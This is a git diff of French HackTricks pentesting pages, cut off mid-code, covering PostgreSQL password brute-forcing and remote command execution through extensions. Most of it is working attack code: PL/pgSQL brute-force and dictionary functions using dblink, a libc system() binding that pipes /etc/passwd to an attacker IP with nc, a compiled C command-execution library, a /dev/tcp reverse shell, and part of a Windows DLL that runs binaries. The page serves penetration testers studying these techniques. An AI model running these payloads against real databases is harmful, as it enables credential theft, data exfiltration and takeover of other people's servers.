<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
PL/pgSQL, en tant que **langage de programmation entièrement fonctionnel**, permet beaucoup plus de contrôle procédural que SQL, y compris la **possibilité d'utiliser des boucles et d'autres structures de contrôle**. Les instructions SQL et les déclencheurs peuvent appeler des fonctions créées dans le langage PL/pgSQL.
|
**Trouvez [plus d'informations sur cette attaque dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||||
|
|
||||||
Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer le mot de passe des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :
|
PL/pgSQL est un **langage de programmation complet** qui va au-delà des capacités du SQL en offrant un **contrôle procédural amélioré**. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi la portée des opérations dans l'environnement de la base de données.
|
||||||
|
|
||||||
|
Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais ils doivent exister dans la base de données. Vous pouvez vérifier leur existence en utilisant:
|
||||||
```sql
|
```sql
|
||||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||||
lanname | lanacl
|
lanname | lanacl
|
||||||
---------+---------
|
---------+---------
|
||||||
plpgsql |
|
plpgsql |
|
||||||
```
|
```
|
||||||
Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur de ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC :
|
Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur sur ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC:
|
||||||
```sql
|
```sql
|
||||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||||
```
|
```
|
||||||
Dans ce cas, notre requête précédente produirait des résultats différents:
|
Dans ce cas, notre requête précédente produirait des résultats différents :
|
||||||
```sql
|
```sql
|
||||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||||
lanname | lanacl
|
lanname | lanacl
|
||||||
---------+-----------------
|
---------+-----------------
|
||||||
plpgsql | {admin=U/admin}
|
plpgsql | {admin=U/admin}
|
||||||
```
|
```
|
||||||
Notez que pour que le script suivant fonctionne, **la fonction `dblink` doit exister**. Si elle n'existe pas, vous pouvez essayer de la créer avec 
|
Notez que pour que le script suivant fonctionne **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec 
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
## Brute Force de Mot de Passe
|
## Brute Force de Mot de Passe
|
||||||
|
|
||||||
Voici comment vous pouvez effectuer une attaque de brute force de mot de passe de 4 caractères :
|
Voici comment vous pourriez effectuer une attaque par force brute sur un mot de passe de 4 caractères :
|
||||||
```sql
|
```sql
|
||||||
//Create the brute-force function
|
//Create the brute-force function
|
||||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||||
username TEXT, dbname TEXT) RETURNS TEXT AS
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
||||||
$$
|
$$
|
||||||
DECLARE
|
DECLARE
|
||||||
word TEXT;
|
word TEXT;
|
||||||
BEGIN
|
BEGIN
|
||||||
FOR a IN 65..122 LOOP
|
FOR a IN 65..122 LOOP
|
||||||
FOR b IN 65..122 LOOP
|
FOR b IN 65..122 LOOP
|
||||||
FOR c IN 65..122 LOOP
|
FOR c IN 65..122 LOOP
|
||||||
FOR d IN 65..122 LOOP
|
FOR d IN 65..122 LOOP
|
||||||
BEGIN
|
BEGIN
|
||||||
word := chr(a) || chr(b) || chr(c) || chr(d);
|
word := chr(a) || chr(b) || chr(c) || chr(d);
|
||||||
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
||||||
' port=' || port ||
|
' port=' || port ||
|
||||||
' dbname=' || dbname ||
|
' dbname=' || dbname ||
|
||||||
' user=' || username ||
|
' user=' || username ||
|
||||||
' password=' || word,
|
' password=' || word,
|
||||||
'SELECT 1')
|
'SELECT 1')
|
||||||
RETURNS (i INT));
|
RETURNS (i INT));
|
||||||
RETURN word;
|
RETURN word;
|
||||||
EXCEPTION
|
EXCEPTION
|
||||||
WHEN sqlclient_unable_to_establish_sqlconnection
|
WHEN sqlclient_unable_to_establish_sqlconnection
|
||||||
THEN
|
THEN
|
||||||
-- do nothing
|
-- do nothing
|
||||||
END;
|
END;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
RETURN NULL;
|
RETURN NULL;
|
||||||
END;
|
END;
|
||||||
$$ LANGUAGE 'plpgsql';
|
$$ LANGUAGE 'plpgsql';
|
||||||
|
|
||||||
//Call the function
|
//Call the function
|
||||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||||
```
|
```
|
||||||
_Notez que même la force brute de 4 caractères peut prendre plusieurs minutes._
|
_Notez que même le bruteforce de 4 caractères peut prendre plusieurs minutes._
|
||||||
|
|
||||||
Vous pouvez également **télécharger une liste de mots** et essayer seulement ces mots de passe (attaque par dictionnaire):
|
Vous pourriez également **télécharger une liste de mots** et essayer uniquement ces mots de passe (attaque par dictionnaire) :
|
||||||
```sql
|
```sql
|
||||||
//Create the function
|
//Create the function
|
||||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||||
username TEXT, dbname TEXT) RETURNS TEXT AS
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
||||||
$$
|
$$
|
||||||
BEGIN
|
BEGIN
|
||||||
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
||||||
user=name
|
user=name
|
||||||
password=qwerty
|
password=qwerty
|
||||||
dbname=wordlists',
|
dbname=wordlists',
|
||||||
'SELECT word FROM wordlist')
|
'SELECT word FROM wordlist')
|
||||||
RETURNS (word TEXT)) LOOP
|
RETURNS (word TEXT)) LOOP
|
||||||
BEGIN
|
BEGIN
|
||||||
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
||||||
' port=' || port ||
|
' port=' || port ||
|
||||||
' dbname=' || dbname ||
|
' dbname=' || dbname ||
|
||||||
' user=' || username ||
|
' user=' || username ||
|
||||||
' password=' || word,
|
' password=' || word,
|
||||||
'SELECT 1')
|
'SELECT 1')
|
||||||
RETURNS (i INT));
|
RETURNS (i INT));
|
||||||
RETURN word;
|
RETURN word;
|
||||||
|
|
||||||
EXCEPTION
|
EXCEPTION
|
||||||
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
||||||
-- do nothing
|
-- do nothing
|
||||||
END;
|
END;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
RETURN NULL;
|
RETURN NULL;
|
||||||
END;
|
END;
|
||||||
$$ LANGUAGE 'plpgsql'
|
$$ LANGUAGE 'plpgsql'
|
||||||
|
|
||||||
//Call the function
|
-- Call the function
|
||||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||||
```
|
```
|
||||||
**Trouvez** [**plus d'informations sur cette attaque dans cet article**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.**
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,28 +1,30 @@
|
||||||
# RCE avec les extensions PostgreSQL
|
# RCE avec les Extensions PostgreSQL
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Extensions PostgreSQL
|
## Extensions PostgreSQL
|
||||||
|
|
||||||
PostgreSQL est conçu pour être facilement extensible. Pour cette raison, les extensions chargées dans la base de données peuvent fonctionner comme des fonctionnalités intégrées.\
|
PostgreSQL a été développé avec l'extensibilité comme fonctionnalité principale, lui permettant d'intégrer de manière transparente des extensions comme s'il s'agissait de fonctionnalités intégrées. Ces extensions, essentiellement des bibliothèques écrites en C, enrichissent la base de données avec des fonctions, opérateurs ou types supplémentaires.
|
||||||
Les extensions sont des modules qui fournissent des fonctions, des opérateurs ou des types supplémentaires. Ce sont des bibliothèques écrites en C.\
|
|
||||||
À partir de PostgreSQL > 8.1, les bibliothèques d'extension doivent être compilées avec un en-tête spécial, sinon PostgreSQL refusera de les exécuter.
|
|
||||||
|
|
||||||
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en exploitant PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.
|
||||||
|
|
||||||
|
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
||||||
|
|
||||||
### RCE sous Linux
|
### RCE sous Linux
|
||||||
|
|
||||||
Le processus pour exécuter des commandes système à partir de PostgreSQL 8.1 et avant est simple et bien documenté ([module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)) :
|
**Pour plus d'informations, consultez : [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||||
|
|
||||||
|
L'exécution de commandes système à partir de PostgreSQL 8.1 et des versions antérieures est un processus clairement documenté et simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||||
|
@ -36,74 +38,76 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||||
|
|
||||||
<summary>Écrire un fichier binaire à partir de base64</summary>
|
<summary>Écrire un fichier binaire à partir de base64</summary>
|
||||||
|
|
||||||
Pour écrire un binaire dans un fichier dans postgres, vous devrez peut-être utiliser base64, cela sera utile à cet effet:
|
Pour écrire un binaire dans un fichier dans postgres, vous pourriez avoir besoin d'utiliser base64, cela sera utile à cette fin:
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||||
$$
|
$$
|
||||||
DECLARE
|
DECLARE
|
||||||
fh int;
|
fh int;
|
||||||
s int;
|
s int;
|
||||||
w bytea;
|
w bytea;
|
||||||
i int;
|
i int;
|
||||||
BEGIN
|
BEGIN
|
||||||
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
||||||
|
|
||||||
IF fh <= 2 THEN
|
IF fh <= 2 THEN
|
||||||
RETURN 1;
|
RETURN 1;
|
||||||
END IF;
|
END IF;
|
||||||
|
|
||||||
SELECT decode(s, 'base64') INTO w;
|
SELECT decode(s, 'base64') INTO w;
|
||||||
|
|
||||||
i := 0;
|
i := 0;
|
||||||
LOOP
|
LOOP
|
||||||
EXIT WHEN i >= octet_length(w);
|
EXIT WHEN i >= octet_length(w);
|
||||||
|
|
||||||
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
||||||
|
|
||||||
IF rs < 0 THEN
|
IF rs < 0 THEN
|
||||||
RETURN 2;
|
RETURN 2;
|
||||||
END IF;
|
END IF;
|
||||||
|
|
||||||
i := i + 1;
|
i := i + 1;
|
||||||
END LOOP;
|
END LOOP;
|
||||||
|
|
||||||
SELECT close(fh) INTO rs;
|
SELECT close(fh) INTO rs;
|
||||||
|
|
||||||
RETURN 0;
|
RETURN 0;
|
||||||
|
|
||||||
END;
|
END;
|
||||||
$$ LANGUAGE 'plpgsql';
|
$$ LANGUAGE 'plpgsql';
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Cependant, lorsqu'il a été tenté sur PostgreSQL 9.0, **l'erreur suivante a été affichée**:
|
Cependant, lorsque cela a été tenté sur des versions plus récentes, **l'erreur suivante s'est affichée** :
|
||||||
```c
|
```c
|
||||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||||
```
|
```
|
||||||
Cette erreur est expliquée dans la [documentation de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
Cette erreur est expliquée dans la [documentation de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html) :
|
||||||
|
|
||||||
> Pour s'assurer qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h:
|
> Pour garantir qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h :
|
||||||
>
|
>
|
||||||
> `#ifdef PG_MODULE_MAGIC`\
|
> `#ifdef PG_MODULE_MAGIC`\
|
||||||
> `PG_MODULE_MAGIC;`\
|
> `PG_MODULE_MAGIC;`\
|
||||||
> `#endif`
|
> `#endif`
|
||||||
|
|
||||||
Ainsi, pour les versions de PostgreSQL depuis 8.2, un attaquant doit soit profiter d'une bibliothèque déjà présente sur le système, soit télécharger sa propre bibliothèque, qui a été compilée contre la bonne version majeure de PostgreSQL, et inclut ce bloc magique.
|
Depuis la version 8.2 de PostgreSQL, le processus pour un attaquant d'exploiter le système a été rendu plus difficile. L'attaquant doit soit utiliser une bibliothèque déjà présente sur le système, soit télécharger une bibliothèque personnalisée. Cette bibliothèque personnalisée doit être compilée contre la version majeure compatible de PostgreSQL et doit inclure un "bloc magique" spécifique. Cette mesure augmente considérablement la difficulté d'exploiter les systèmes PostgreSQL, car elle nécessite une compréhension plus approfondie de l'architecture du système et de la compatibilité des versions.
|
||||||
|
|
||||||
#### Compiler la bibliothèque
|
#### Compiler la bibliothèque
|
||||||
|
|
||||||
Tout d'abord, vous devez connaître la version de PostgreSQL en cours d'exécution:
|
Obtenez la version de PostgreSQL avec :
|
||||||
```sql
|
```sql
|
||||||
SELECT version();
|
SELECT version();
|
||||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||||
```
|
```
|
||||||
Les versions majeures doivent correspondre, donc dans ce cas, la compilation d'une bibliothèque en utilisant n'importe quelle version 9.6.x devrait fonctionner.\
|
Pour assurer la compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.
|
||||||
Ensuite, installez cette version sur votre système :
|
|
||||||
|
|
||||||
|
Pour installer cette version sur votre système :
|
||||||
```bash
|
```bash
|
||||||
apt install postgresql postgresql-server-dev-9.6
|
apt install postgresql postgresql-server-dev-9.6
|
||||||
```
|
```
|
||||||
Et compiler la bibliothèque:
|
Et compiler la bibliothèque :
|
||||||
```c
|
```c
|
||||||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
@ -116,11 +120,11 @@ PG_MODULE_MAGIC;
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(pg_exec);
|
PG_FUNCTION_INFO_V1(pg_exec);
|
||||||
Datum pg_exec(PG_FUNCTION_ARGS) {
|
Datum pg_exec(PG_FUNCTION_ARGS) {
|
||||||
char* command = PG_GETARG_CSTRING(0);
|
char* command = PG_GETARG_CSTRING(0);
|
||||||
PG_RETURN_INT32(system(command));
|
PG_RETURN_INT32(system(command));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec:
|
Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec :
|
||||||
```bash
|
```bash
|
||||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||||
|
@ -130,11 +134,9 @@ Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs version
|
||||||
|
|
||||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||||
|
|
||||||
Pour plus d'informations, lisez: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
|
||||||
|
|
||||||
### RCE sous Windows
|
### RCE sous Windows
|
||||||
|
|
||||||
La DLL suivante prend en entrée le **nom du binaire** et le **nombre** de **fois** que vous voulez l'exécuter et l'exécute:
|
La DLL suivante prend en entrée le **nom du binaire** et le **nombre** de **fois** que vous souhaitez l'exécuter, puis l'exécute:
|
||||||
```c
|
```c
|
||||||
#include "postgres.h"
|
#include "postgres.h"
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
@ -156,171 +158,171 @@ in a FOR loop bound by the second parameter that is also passed*/
|
||||||
Datum
|
Datum
|
||||||
pgsql_exec(PG_FUNCTION_ARGS)
|
pgsql_exec(PG_FUNCTION_ARGS)
|
||||||
{
|
{
|
||||||
/* convert text pointer to C string */
|
/* convert text pointer to C string */
|
||||||
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
||||||
|
|
||||||
/* retrieve the second argument that is passed to the function (an integer)
|
/* retrieve the second argument that is passed to the function (an integer)
|
||||||
that will serve as our counter limit*/
|
